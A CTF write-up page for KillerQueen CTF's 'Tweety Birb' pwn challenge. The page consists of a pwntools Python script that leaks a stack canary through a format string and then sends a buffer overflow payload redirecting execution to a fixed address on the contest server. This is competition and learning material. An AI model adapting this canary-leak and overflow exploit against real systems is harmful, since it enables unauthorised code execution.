CTF - Info/Codes/Notes
  • Writeups SkyMas 2021
  • ☠️DeadFace
    • Dead Men Tell No Tales
    • The Count
    • Window Pains
    • Window Pains 2
    • Window Pains 3
    • Window Pains 4
    • You Shall not Pass
  • 🇵🇹Jornadas 2021
    • Return that ROPe
    • IPv6
  • 👁️BuckeyeCTF 2021
    • Canary
    • Tesseract
    • StegBot
    • SOP
    • Jupyter
    • Curly fries
    • Sozu
    • BASIC
    • Ret4win
    • Flattened
    • Defective RSA
  • 👑KillerQueen CTF
    • Web
      • Jail Web
    • PWN
      • Broke Collage Students
      • A Kind of Magic
      • Tweety Birb
      • Zoom2Win
    • Not mine :D
  • 🔺CTF Int. MetaRed 2021 - 3rd STAGE
    • PWN
      • Numerology
      • NoteServer
Powered by GitBook
On this page
  1. KillerQueen CTF
  2. PWN

Tweety Birb

#!/usr/bin/env python3

from pwn import *

exe = ELF("./tweetybirb")
#context.log_level= 'critical'
context.binary = exe
args.LOCAL=False
args.DEBUG=False
def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("143.198.184.186", 5002)

    return r


def main():
    r = conn()
    r.sendlineafter(b'magpies?', b"%15$lp")
    canary_leak= r.recvlines(2)[1]
    print (str(canary_leak))
    
    OFFSET = b'A'*72
        
    payload = OFFSET+p64((int(canary_leak,16)))+b'A'*8 +p64(0x004011db)
    r.sendlineafter(b'fowl?',payload)
    r.interactive()
    

if __name__ == "__main__":
    main()
PreviousA Kind of MagicNextZoom2Win

Last updated 3 years ago

👑